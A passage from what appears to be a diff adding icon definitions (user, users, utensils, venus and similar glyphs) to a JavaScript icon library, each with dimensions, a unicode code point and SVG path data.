"f007", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "user-alt": [512, 512, [], "f406", "M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z"], + "user-alt-slash": [640, 512, [], "f4fa", "M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z"], + "user-astronaut": [448, 512, [], "f4fb", "M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z"], + "user-check": [640, 512, [], "f4fc", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z"], + "user-circle": [496, 512, [], "f2bd", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"], + "user-clock": [640, 512, [], "f4fd", "M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z"], + "user-cog": [640, 512, [], "f4fe", "M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z"], + "user-edit": [640, 512, [], "f4ff", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z"], + "user-friends": [640, 512, [], "f500", "M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z"], + "user-graduate": [448, 512, [], "f501", "M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z"], + "user-injured": [448, 512, [], "f728", "M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z"], + "user-lock": [640, 512, [], "f502", "M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z"], + "user-md": [448, 512, [], "f0f0", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z"], + "user-minus": [640, 512, [], "f503", "M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "user-ninja": [448, 512, [], "f504", "M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z"], + "user-nurse": [448, 512, [], "f82f", "M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z"], + "user-plus": [640, 512, [], "f234", "M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "user-secret": [448, 512, [], "f21b", "M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z"], + "user-shield": [640, 512, [], "f505", "M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z"], + "user-slash": [640, 512, [], "f506", "M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z"], + "user-tag": [640, 512, [], "f507", "M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z"], + "user-tie": [448, 512, [], "f508", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z"], + "user-times": [640, 512, [], "f235", "M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "users": [640, 512, [], "f0c0", "M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"], + "users-cog": [640, 512, [], "f509", "M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"], + "users-slash": [640, 512, [], "e073", "M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z"], + "utensil-spoon": [512, 512, [], "f2e5", "M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z"], + "utensils": [416, 512, [], "f2e7", "M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z"], + "vector-square": [512, 512, [], "f5cb", "M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z"], + "venus": [288, 512, [], "f221", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"], + "venus-double": [512, 512, [], "f226", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z"], + "venus-mars": [576, 512, [], "f228", "M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 